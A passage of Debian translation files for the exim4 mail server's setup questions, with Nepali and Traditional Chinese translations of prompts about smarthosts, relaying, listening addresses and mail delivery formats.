वा 5f03:1200:836f::/48) " "प्रयोग गर्नु पर्नेछ ।" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "यदि यो प्रणाली अन्य कुनै होस्टको लागि स्मार्टहोस्ट बनेन भने, यो सूची खाली छोड्नुहोस् ।" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "स्थानिय प्रयोगकर्ताहरुको लागि दृश्यात्मक डोमेन नाम:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "निर्गामन पत्रमा स्थानिय पत्र नाम लुकाउन यो विकल्प सक्षम भयो । डोमेन नाम निर्दिष्ट गर्न " "यो यसकारण आवश्यक भयो कि यो प्रणाली स्थानिय प्रयोगकर्ताको, प्रेषक ठेगानाहरूको डोमेन " "भागका लागि प्रयोग हुनेछ । " #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "निर्गामन स्मार्टहोस्टको आई पी ठेगाना वा होस्टनाम:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "कृपया पत्र सर्भरको आई पी ठेगाना वा होस्ट नाम प्रविष्ट गर्नुहोस् ता कि यो प्रणाली " "निर्गामन स्मार्टहोस्टको रूपमा प्रयोग हुनेछ । यदि स्मार्टहोस्टले TCP/25 बाट विभिन्न पोर्टमा " "तपाईँको पत्र मात्र स्वीकार गर्दछ भने, दुईवटा अल्पबिरामहरू र पोर्ट नम्बर (जस्तै smarthost." "example::587 वा 192.168.254.254::2525) थप्नुहोस् । IPv6 ठेगानाहरूमा अल्पबिरामहरू " "डबल हुन आवश्यक छ ।" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "यदि स्मार्टहोस्टलाई आधिकारिकताको आवश्यक परेमा, SMTP आधिकारिकता सेटअप गर्ने बारे " "द्रष्टब्यको लागि /usr/share/doc/exim4-base/README.Debian.gz सन्दर्भ गर्नुहोस् ।" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "मूल र पोस्टमास्टर पत्र प्रापक:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "'पोस्टमास्टर', 'मूल', र अन्य प्रणाली खाताहरू वास्तविक प्रणाली प्रशासकको प्रयोगकर्ता " "खातामा पुन: निर्देशित हुन आवश्यक हुन्छ ।" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "यदि यो मान खाली राखियो भने, सो पत्र var/mail/mail मा बचत गरिनेछ जुन सिफारिस " "गरिएको छैन । " #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "याद गर्नुहोस् पोस्टमास्टरको पत्र यताउती पठाइनु भन्दा, यसले निर्देशित गरेको प्रणालीमा " "पढिनुपर्छ, त्यसैले यहाँ सूचीकृत भएको प्रयोगकर्ता मध्ये (कम्तिमा एकजना) ले यो मेशिनमा " "तिनीहरूको पत्र पुन: निर्देशन गर्ने छैन । स्थानिय हस्तान्तरणलाई जोर गर्न 'वास्तविक' उपसर्ग " "प्रयोग गर्न सकिन्छ ।" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "बहुँविध प्रयोगकर्ता नामहरू खाली ठाउँद्वारा विभाजित हुन आवश्यक छ ।" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "SMTP जडानहरुको आगमनको लागि सुन्न IP-ठेगानाहरू:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "कृपया आई पी ठेगानाको अल्पबिराम-विभाजित सूची प्रविष्ट गर्नुहोस् । एक्जिम SMTP श्रोता " "डेयमनले यहाँ सूचिकृत सबै आई पी ठेगानाहरूमा सुन्नेछ ।" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "एउटा खाली मानले सबै उपलब्ध सञ्जाल अन्तरमोहडाहरूमा जडानहरूका लागि एक्जिम सुन्न सक्ने " "बनाउँन सक्छ ।" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "यदि यो प्रणालीले स्थानिय सेवाहरू जस्तै फेचमेल वा स्थानिय होस्टमा बोलिरहेको तपाईँको (MUA) " "इमेल कार्यक्रमबाट (र अन्य होस्टहरूबाट होइन) मात्र प्रत्यक्ष रूपमा इमेल प्राप्त गर्दैन भने, " "स्थानिय एक्जिममा बाह्य जडानहरू निषेध गर्न आवश्यक छ । यसलाई यहाँ १२७.०.०.१ प्रविष्ट गरेर " "पूरा गर्न सकिन्छ । यसले सार्वजनिक सञ्जाल इन्टरफेसहरूमा सुन्नलाई अक्षम गरिदिन्छ ।" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "डी एन एस-क्वेरीहरूको मिनिमल (डायल-अन-डिमान्ड) को सङ्ख्या राख्नुहुन्छ ?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "सञ्चालनको सामान्य मोडमा एक्जिमले सुरुआतमा, र सन्देशहरू प्राप्त गर्दा र हस्तान्तरण गर्दामा " "डी एन एस लाई देखाउँछ । यो लगइन उद्देश्यहरूको लागि हो र कन्फिगरेसनमा हार्ड-कोडेड " "मानहरूको सङ्ख्या तल राख्न अनुमति दिन्छ ।" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "यदि यो प्रणालीसँग सबै समयमा डि एन एस पूरा सेवा पुन: समाधानकर्ता उपलब्ध छैन भने (जस्तै " "यदि यसको इन्टरनेट पहुँच डायल-अन-डिमान्ड प्रयोग गरिरहेको डायल-अप लाइन हो भने) यो संग " "नचाहेको परिणाम हुनुपर्छ । उदाहरणको लागि, एक्जिम सुरु गरेर वा (कुनै सन्देशहरू पनि प्रतिक्षा " "नगरिरहेको) लाम सञ्चालन गरेर महंगो dial-up-event ट्रिगर गर्न सकिदैन ।" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "यदि यो प्रणालीले डायल-अन-डिमान्ड प्रयोग गरिरहेको छ भने यो विकल्प चयन हुनेछ । यदि यो " "सँग इन्टरनेट पहुँच सधै खुल्ला हुन्छ भने, यो विकल्प अक्षम गरिनेछ ।" #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "पत्र सर्भर कन्फिगरेसन" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "सानो फाइलहरुमा कन्फिगरेसन विभाजन गर्नुहुन्छ ?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "डेवियन एक्जिम४ प्याकेजहरूले ले या त 'अविभाजित कन्फिगरेसन', वा एकल monolithic फाइल (/" "etc/exim4/exim4.conf.template) वा 'विभाजित कन्फिगरेसन' प्रयोग गर्न सक्छ, जहाँ " "वास्तविक एक्जिम कन्फिगरेसन फाइलहरू /etc/exim4/conf.d मा ५० वटा सानो फाइलहरू मिलेर " "निर्माण भएको हुन्छ ।" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "अविभाजित कन्फिगरेसन ठूलो परिमार्जनहरुको लागि अति उत्तम छ र सामन्य रूपमा धेरै स्थिर पनि " "छ, जबकि विभाजित कन्फिगरेसनले सानो परिमार्जनहरु बनाउन सुविधाजनक बाटोको प्रस्ताव गर्दछ " "तर धेरै मुलायम हुने भएकोले ठूलो रुपमा परिमार्जन हुँदा विच्छेदन हुन सक्छ ।" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "विभाजित र अविभाजित कन्फिगरेसनको बारे धेरै विस्तृत छलफल /usr/share/doc/exim4-base/" "README.Debian.gz मा फेला पार्न सकिन्छ । " #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "बाहिर जाने पत्रमा स्थानिय पत्र नाम लुकाउनुहुन्छ ?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "निर्गामन पत्रको हेडरहरू विभिन्न प्रणालीमा सिर्जना गरेर देखाउन पुन: लेखन गर्न सकिन्छ । यदि " "यो विकल्प रोजियो भने, '${mailname}', 'localhost' र '${dc_other_hostnames}' " "बाटमा, लाई-जवाफ, प्रेषक र फर्कने-बाटो पुन: लेखन गरिन्छ ।" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "/var/mail मा पत्रमञ्जूषा ढाँचा " #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "गृह डाइरेक्टरीमा पत्र डाइरेक्टरी ढाँचा" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "स्थानिय पत्रको लागि हस्तान्तरण विधि:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "एक्जिम विभिन्न ढाँचाहरूमा स्थानिय रूपमा हस्तान्तरण गरिएको इमेल भण्डारण गर्न सक्षम भयो ।" "प्रायजसो धेरै प्रयोग गरिएको ढाँचाहरू पत्रमञ्जूषा र पत्र डाइरेक्टरी हो । पत्रमञ्जूषाले /var/" "mail/ मा भण्डारण गरिएको पूरै पत्र फोल्डरको लागि एकल फाइल प्रयोग गर्दछ । पत्र " "डाइरेकटरी ढाँचाद्वारा हरेक एकल सन्देश ~/Maildir/ मा भिन्नै फाइलमा भण्डारण गरिएको हुन्छ ।" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "कृपया याद गर्नुहोस् कि डेवियनमा धेरै पत्र उपकरणहरूले तिनीहरूको पूर्वनिर्धारणमा पत्रमञ्जूषा हुन " "स्थानिय हस्तान्तरण विधिको अपेक्षा गरेको हुन्छ ।" debian/po/zh_TW.po0000644000000000000000000006172112027557533011217 0ustar # # Translators, if you are not familiar with the PO format, gettext # documentation is worth reading, especially sections dedicated to # this format, e.g. by running: # info -n '(gettext)PO Files' # info -n '(gettext)Header Entry' # # Some information specific to po-debconf are available at # /usr/share/doc/po-debconf/README-trans # or http://www.debian.org/intl/l10n/po-debconf/README-trans # # Developers do not need to manually edit POT or PO files. # msgid "" msgstr "" "Project-Id-Version: exim4/debian\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2006-10-21 16:59+0800\n" "Last-Translator: Tetralet \n" "Language-Team: Debian-user in Chinese [Big5] \n" "Language: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "是否清除在 spool 目錄中尚未遞送之信件?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "在 exim 的 spool 目錄 /var/spool/exim4/input 中,還有一些郵件尚未遞送。移除 " "Exim 將會導致它們停止遞送直到重新安裝了 Exim。" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "如果沒有選取這個選項,那麼 spool 目錄將會被保留下來。這將允許在 queue 中的郵" "件可以在日後重新安裝 Exim 後再重新遞送。" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "在重新設定時請替而使用 exim4-config 而不是本套件" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "Exim4 已將其設定程式分離為另一個獨立套件,exim4-config。如果您想要重新設定 " "Exim4,請使用 dpkg-reconfigure exim4-config。" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "網際網路站台;直接透過 SMTP 來傳送接收郵件" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "使用 smarthost 來傳送郵件;並藉由 SMTP 或是 fetchmail 來接收郵件" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "使用 smarthost 來傳送郵件;且無本機郵件" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "只傳送本機的郵件;並未位於網路上" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "不要在此時進行設定" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "設定郵件所使用的一般格式:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "請選擇最符合您的需求的郵件伺服器之設定類型。" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "一般會將使用浮動 IP 位址(包括使用撥號網路)的系統設定成在外送郵件時是寄送給" "另外一台稱為 smart host 的機器。這是因為很多在 Internet 上的收信系統為了防治" "垃圾郵件,不會接收由浮動 IP 位址所寄出的信件。" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "使用浮動 IP 位址的系統可以只接收它本身的郵件,或者可以完全關閉接收(除了 " "root 及 postmaster 的郵件之外的)本機郵件的功能" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "是否真的要讓郵件系統處於未設定之狀態?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "在郵件系統設定完成之前,它將處於故障且無法使用之狀態。若想在稍候再進行設定," "可藉由手動修改、或是以 root 身分來執行 dpkg-reconfigure exim4-config。" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "系統郵件名稱 (mail name):" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "所謂的郵件名稱 (mail name) 是一個網域名稱,用來補全那些沒有附加網域名稱的電子" "郵件位址。" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "而這個名稱也被其它程式所使用;它應該是一個獨一無二的完整網域名稱 (FQDN)。" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "比如說,在本機上的某個電子郵件地址是 foo@domain.example,那麼應該在這個選項上" "填入的就是 example.org。" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "如果啟用了改寫 (rewriting) 功能,那麼這個名稱就不會顯示在外寄郵件的 From: 的" "那幾行裡。" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "要進行接收的其它郵件位址:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "請輸入一個以分號區隔的收信網域之名稱列表。這台機器除了本機的主機名稱 " "(${fqdn}) 及 localhost 之外,也同時會將列表中的網域視為郵件的目的地。這些網域" "通常會被稱為 local domains。" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "在預設上,所有的 local domains 都將被視為同一網域。如果 a.example 和 b." "example 同為 local domains,那麼 acc@a.example 和 acc@b.example 都將會被傳送" "到相同的目的地去。如果不同的網域名稱應該被視為不同網域,您必須在稍候自行修改" "設定檔。" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "可以進行郵件轉寄 (relay) 的網域:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "請輸入一個以分號區隔的收信網域之名稱列表,這個系統將會替它們進行郵件轉寄 " "(relay),也就是提供像是備援的 MX 或郵件中繼站的功能。這也就是說,這個系統將會" "接收來自 Internet 任何角落的信件,只要郵件是來自這些網域;同時也會依據本機的" "遞送規則將郵件傳送出去。" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "請不要在此填上 local domain,但可以使用萬用字元。" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "要替哪些主機進行郵件轉寄 (relay):" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "請輸入一個以分號區隔的收信網域之 IP 位罝範圍,這個系統將會替它們進行無條件的" "郵件轉寄 (relay),也就是提供 smarthost 的功能。" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "您必須使用標準的 位址/長度 格式,如:194.222.242.0/24 或 " "5f03:1200:836f::/48。" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "如果這個系統並不做為其它機器的 smarthost,請在此欄位留白。" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "本機使用者的虛擬網域名稱:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "若啟用了這個選項,就會在外寄的郵件中隱藏本機的郵件名稱 (mail name) 。也因而必" "須指定這個系統上的本機使用者在寄信者的地址中所使用的網域部份應當使用的網域名" "稱。" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "外寄郵件時所使用的 smarthost 的 IP 位址或主機名稱:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "請輸入這個系統在外寄郵件時所使用的 smarthost 那台郵件主機的 IP 位址或主機名" "稱。如果這個 smarthost 不是使用 TCP/25 埠來接收您的郵件的話,請在最後附加上 " "2 個冒號及連接埠的號碼,例如 smarthost.example::587 或 " "192.168.254.254::2525。在 IPv6 位址裡的冒號需輸入 2 次。" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "如果 smarthost 需要驗証,請參考 /usr/share/doc/exim4-base/README.Debian.gz 裡" "有關設定 SMTP 驗証之說明。" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "root 及 postmaster 的郵件代收者:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "寄給 postmaster、root,及其它系統帳號的郵件必須轉送給系統管理者真正的使用者帳" "號。" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "如果在此欄留白,那麼這些郵件將會存放在 /var/mail/mail,而這是非常不恰當的作" "法。" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "請注意到,postmaster 的郵件應該存放在它所管理的系統上,而不是將它再轉寄到別的" "地方去。因而您不該把在這裡所指定的(至少要留一個)帳號的郵件再轉寄出去。在字" "首加上 real- 表示將強制傳送至本機。" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "必須以空白分隔多個使用者名稱。" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "在有 SMTP 連線傳入時,要進行監聽的 IP 位址:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "請輸入一個以分號區隔的 IP 位址列表。Exim 的 SMTP 監聽服務將會監聽所有在此列出" "的 IP 位址。" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "在此留白將會導致 Exim 在所有的網路介面上監聽連線。" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "如果這台電腦只會接受由本機服務所傳送,像是由 fetchmail 或是您的電子郵件程式 " "(MUA) 直接傳送至 localhost(沒有經由其它的主機)的電子郵件,那麼建議禁止外部" "和本機 Exim 進行連線,方法是在此輸入 127.0.0.1。如此將能避免監聽公共的網路介" "面。" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "是否保持最小的 DNS 查詢量 (即時撥接;Dial-on-Demand)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "在一般的操作模式下,Exim 會在一開始及在傳送或接收訊息時進行 DNS 查詢。這是為" "了便於進行 Logging,並且可以降低在設定檔裡使用的硬性編碼 (hard-coded) 數值的" "次數。" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "如果這個系統並沒有一個在任何時刻都可使用的全功能 DNS 名稱解析伺服器時,(例" "如:在存取 Internet 時是使用撥接網路並搭配即時撥接 (Dial-on-Demand) 以進行連" "線),這可能並不是理想的方案。舉例來說,在啟動 Exim 或執行 queue(即使並沒有" "等候中的資訊)時都有可能會觸發那昂貴的撥接事件。" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "如果這個系統使用的是即時撥接 (Dial-on-Demand),應該選取這個選項。如果使用的是" "能永久存取 Internet 的連線,應該關閉這個選項。" #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "郵件伺服器設定" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "是否將設定檔分散成較小的檔案?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "Debian 的 exim4 套件可以使用兩種設定方式,一個是『整合的設定檔』,一個單一且" "節構龐大的檔案 (/etc/exim4/exim4.conf.template),或是使用『分散的設定檔』,由" "位於 /etc/exim4/conf.d/ 中大約 50 個小檔案來產生真正的 Exim 設定檔。" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "『整合的設定檔』較適合於大量的修改,且一般來說也會較為穩定。而『分散的設定" "檔』則提供了在進行小量修改時的一個較方便的作法,但它會較為不穩定且如果修改時" "一不小心就可能會導致損壞。" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "可以在 /usr/share/doc/exim4-base/README.Debian.gz 裡找到有關『整合』及『分" "散』設定檔的一些更詳盡的討論。" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "是否在外送郵件中隱藏本機的郵件名稱 (mail name)?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" 